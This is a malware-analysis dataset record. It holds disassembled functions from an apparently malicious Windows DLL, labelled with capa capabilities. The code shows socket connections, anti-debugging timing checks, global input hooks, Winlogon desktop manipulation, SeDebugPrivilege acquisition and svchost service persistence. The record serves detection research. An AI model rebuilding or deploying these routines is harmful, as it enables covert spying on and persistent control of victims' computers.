joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100061e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x100061fe
inc ebx
push edi
je 0x10006257
pop eax
mov word [ebp - 0x10], 0
xor eax, eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov dword [ebp - 6], eax
mov word [ebp - 2], ax
mov dword [ebp - 0x18], 0x10
mov dword [ebp - 0x128], 0
mov byte [ebp - 0x120], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
adc eax, sym.imp.WS2_32.dll_inet_addr
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffff
jne 0x100062f4
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x13c], eax
cmp dword [ebp - 0x13c], 0
jne 0x1000628c
xor eax, eax
jmp 0x100063db
mov word [ebp - 0x138], 0
xor edx, edx
mov dword [ebp - 0x136], edx
mov dword [ebp - 0x132], edx
mov dword [ebp - 0x12e], edx
mov word [ebp - 0x12a], dx
mov eax, dword [ebp - 0x13c]
movsx ecx, word [eax + 0xa]
mov edx, dword [ebp - 0x13c]
mov eax, dword [edx + 0xc]
mov esi, dword [eax]
lea edi, [ebp - 0x134]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x134]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
mov ax, word [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
mov word [ebp - 0x10], 2
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0xffffffff
jne 0x1000633b
xor eax, eax
jmp 0x100063db
mov ecx, dword [ebp - 0x18]
push ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x10006366
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x100063db
mov dword [ebp - 0x124], 1
push 4
lea edx, [ebp - 0x124]
push edx
push 1
push 6
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x1000639f
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x100063db
mov dword [ebp - 0x14], 1
push 4
lea edx, [ebp - 0x14]
push edx
push 8
push 0xffff
mov eax, dword [ebp - 0x128]
push eax
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x100063d5
mov ecx, dword [ebp - 0x128]
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x100063db
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100063f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
push ebx
push esi
push edi
mov dword [ebp - 0xa0], ecx
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x10006414
inc ebx
push edi
je 0x1000646d
pop eax
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0
mov ecx, 0x24
xor eax, eax
lea edi, [ebp - 0x90]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x80000000
jae 0x100064cb
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x10006485
add eax, 0xbd831575
je 0x10006473
cmp dword [ebp - 0x8c], 0
jne 0x10006485
invalid
invalid
mov dword [ebp - 0x98], 1
jmp 0x100064cb
cmp dword [ebp - 0x90], 5
jne 0x100064a3
cmp dword [ebp - 0x8c], 1
jne 0x100064a3
mov dword [ebp - 0x98], 2
jmp 0x100064cb
cmp dword [ebp - 0x90], 5
jne 0x100064c1
cmp dword [ebp - 0x8c], 2
jne 0x100064c1
mov dword [ebp - 0x98], 3
jmp 0x100064cb
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x98]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100064e0
Capabilities:
Check for time delay via queryperformancecounter
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 0x2c], ecx
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x100064fe
inc ebx
push edi
je 0x10006557
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebp - 0x20], eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0x10
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x28]
push eax
call fcn.10011660
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
mov ecx, dword [ebp - 0x28]
add ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x24]
adc edx, dword [ebp - 0xc]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], edx
rdtsc
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
adc byte [ebx - 0x74ad23ab], cl
inc ebp
fcom dword [eax - 0x18]
sti
mov al, 0
add byte [ecx + 0x5589d845], cl
fmul qword [ebx + 0x4d03d84d]
invalid
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x24]
jg 0x100065a3
jl 0x10006597
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x28]
jae 0x100065a3
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
jmp 0x10006585
rdtsc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 8]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 4]
push 0
push 0xf424
push eax
push edx
call fcn.10011660
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10006790
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
push ebx
push esi
push edi
mov dword [ebp - 0x488], ecx
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x100067b4
inc ebx
push edi
je 0x1000680d
pop eax
mov eax, dword [ebp + 8]
push eax
push 0x1f48
Function at 0x100087c0
Capabilities:
Simulate ctrl alt del

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x20], ecx
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x100087de
inc ebx
push edi
je 0x10008837
pop eax
mov dword [ebp - 0x1c], 1
movzx ax, byte [ebp + 8]
mov word [ebp - 0x18], ax
movzx cx, byte [ebp + 8]
mov word [ebp - 0x16], cx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 1
call dword [sym.imp.USER32.dll_SendInput]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000884b
inc ebx
push edi
je 0x100088a4
pop eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push str.Winlogon
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10008883
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10008a90
Capabilities:
Check mutex on windows
Delete file
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
push ebx
push esi
push edi
mov dword [ebp - 0xa8], ecx
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x10008ab4
inc ebx
push edi
je 0x10008b0d
pop eax
mov eax, dword [ebp + 8]
push eax
push 0x1f45
invalid

Function at 0x10009160
Capabilities:
Create thread
Set global application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000917b
inc ebx
push edi
je 0x100091d4
pop eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x100146c8], eax
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100146cc], eax
push 0
push 0
push 0x10009790
call dword [sym.imp.MSVCRT.dll__beginthread]
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
mov dword [ebp - 8], eax
push 0x2000000
push 0
push 0
push str.Default
call dword [sym.imp.USER32.dll_OpenDesktopA]
add dword [eax], edx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100091e9
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c10], 0
jne 0x1000920d
push 0
mov ecx, dword [0x10014884]
push ecx
push 0x10008e00
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c10], eax
cmp dword [0x10015c0c], 0
jne 0x10009231
push 0
mov edx, dword [0x10014884]
push edx
push 0x10008d20
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c0c], eax
push 0x2000000
push 0
push 0
push str.Winlogon
call dword [sym.imp.USER32.dll_OpenDesktopA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10009258
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_SetThreadDesktop]
cmp dword [0x10015c14], 0
jne 0x1000927c
push 0
mov ecx, dword [0x10014884]
push ecx
push 0x10009010
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov dword [0x10015c14], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.USER32.dll_SetThreadDesktop]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009290
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x100092ab
inc ebx
push edi
je 0x10009304
pop eax
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x100092d5
xor eax, eax
jmp 0x1000931d
push 2
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a050
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a06e
inc ebx
push edi
je 0x1000a0c7
pop eax
mov byte [ebp - 0x108], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x107]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xc8
lea eax, [ebp - 0x108]
push eax
mov ecx, dword [0x10014884]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0x80
push 3
push 0
push 1
push connect
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0xffffffff
jne 0x1000a0d3
mov ebp, 0xfffffef4
push dword [ebp + 4]
xor eax, eax
jmp 0x1000a12f
push 2
push 0
push 0xffffefbc
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0x1044
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1044
mov edx, dword [ebp + 8]
push edx
call fcn.10009f30
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a280
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a29e
inc ebx
push edi
je 0x1000a2f7
pop eax
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a2cf
xor eax, eax
jmp 0x1000a362
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x110], 0x104
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a329
call dword [eax - 0x73]
invalid
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x1000a362
mov ecx, dword [ebp - 0x110]
lea esi, [ebp - 0x10c]
mov edi, dword [ebp + 0x14]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000a35d
xor eax, eax
jmp 0x1000a362
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a410
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a42b
inc ebx
push edi
je 0x1000a484
pop eax
lea eax, [ebp - 0x14]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x10], 1
mov dword [ebp - 4], 2
push 0
push 0
push 0
lea edx, [ebp - 0x10]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
in al, dx
or byte [ebx + 0x56], dl

Function at 0x1000a540
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a55b
inc ebx
push edi
je 0x1000a5b4
pop eax
push 0
push 0x80
push 3
push 0
push 1
push connect
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a585
xor eax, eax
jmp 0x1000a5b3
mov dword [ebp - 4], 0
push 0
lea ecx, [ebp - 4]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a5c0
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a5db
inc ebx
push edi
je 0x1000a634
pop eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x1000a60f
xor eax, eax
jmp 0x1000a63d
mov dword [ebp - 4], 0
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
loopne 0x1000a657
add dword [eax], edx
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a66b
inc ebx
push edi
je 0x1000a6c4
pop eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x10]
push ecx
call fcn.100113c6
cmp dword [ebp - 4], 0
jne 0x1000a69c
or eax, 0xffffffff
jmp 0x1000a758
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000a6ba
or eax, 0xffffffff
jmp 0x1000a758
mov eax, dword [ebp - 4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x14], ecx
dec ebp
in al, dx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.100113b4
mov dword [ebp - 8], 0
jmp 0x1000a6e9
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jae 0x1000a748
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 8]
imul edx, edx, 0x4c
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + edx + 0x30]
push ecx
call dword [sym.imp.MSVCRT.dll_wcscmp]
add esp, 8
test eax, eax
jne 0x1000a746
mov edx, dword [ebp - 8]
imul edx, edx, 0x4c
mov eax, dword [ebp - 0xc]
add eax, edx
mov ecx, dword [ebp + 0xc]
mov edx, dword [eax]
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov edx, dword [eax + 8]
mov dword [ecx + 8], edx
mov eax, dword [eax + 0xc]
mov dword [ecx + 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov eax, dword [ebp - 8]
jmp 0x1000a758
jmp 0x1000a6e0
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a760
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a77b
inc ebx
push edi
je 0x1000a7d4
pop eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000a796
jmp 0x1000a7e0
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a7be
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1000a7e0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add dword [eax], edx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a7f0
Capabilities:
Create service
Get common file path
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a80e
inc ebx
push edi
je 0x1000a867
pop eax
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x10c], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jne 0x1000a849
or eax, 0xffffffff
jmp 0x1000a8f6
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xc8
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str._svchost.exe__k
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x104]
push ecx
push 1
push 2
push 0x110
push 0xf01ff
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x1000a8e7
mov edx, dword [ebp - 0x10c]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a900
Capabilities:
Delete service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a91b
inc ebx
push edi
je 0x1000a974
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x1000a947
or eax, 0xffffffff
jmp 0x1000a991
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1000a971
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1000a991
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000a9a0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push eax
xor eax, eax
add eax, eax
xor eax, eax
xor eax, eax
je 0x1000a9be
inc ebx
push edi
je 0x1000aa17
pop eax
mov dword [ebp - 4], 0
mov dword [ebp - 0x114], 0
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 8]
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x1000aa02
jmp 0x1000aa70
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x110], eax
mov eax, dword [ebp - 0x110]
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 2
push 0
push str.ServiceDll
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret